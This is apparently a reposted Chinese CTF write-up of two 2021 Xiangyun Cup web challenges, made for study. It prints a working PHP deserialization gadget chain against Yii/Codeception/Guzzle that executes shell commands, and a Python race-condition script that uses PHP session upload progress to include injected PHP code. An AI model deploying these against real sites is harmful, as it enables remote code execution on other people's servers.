2021祥云杯
Posted 满天星ak
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021祥云杯相关的知识,希望对你有一定的参考价值。
前言
好多审计题,懒狗的我,自愧不如。赛后借助各位师傅的wp进行复现,不会的题目赛后加强学习知识点,盲看没什么用。
链接
复现平台:https://buuoj.cn/
WEB
ezyii
考点:yii最新反序列化漏洞
这题就是网上有的yii链子,1day好像。利用这个https://xz.aliyun.com/t/9948#toc-6直接拿。
代码
<?php
namespace Codeception\\Extension{
use Faker\\DefaultGenerator;
use GuzzleHttp\\Psr7\\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('Firebasky');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\\Psr7{
use Faker\\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('Firebasky');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');phpinfo(); };
$a = (\\Opis\\Closure\\serialize($a));
$b = (unserialize($a));
$this->source=$b;
}
}
}
得到base64编码,post进行传参即可。
分析可查看这位师傅的博客https://www.cnblogs.com/thresh/p/13743081.html
安全检测
考点:文件包含session条件竞争
这题是去登录进去,然后搜索自己的本地文件http://127.0.0.1,访问不到那尝试一下/admin页面。
得到源码文件包含,还是session条件竞争。只不过这里一直跑条件竞争,手工访问并且添加包含文件也就是我们正在条件竞争的文件。然后在tmp写写入php文件进行包含。
写个脚本跑一下
import io
import requests
import threading
sessid = 'h3'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'url', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("/getflag.sh");?>'}, files={'file': ('aa.txt',f)}, cookies={'PHPSESSID': sessid} )
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
知识可查看y4师傅。https://blog.csdn.net/solitudi/article/details/109460211
总结
我感觉题目主要还是代码审计。
还需要学习的很多,继续加油。
以上是关于2021祥云杯的主要内容,如果未能解决你的问题,请参考以下文章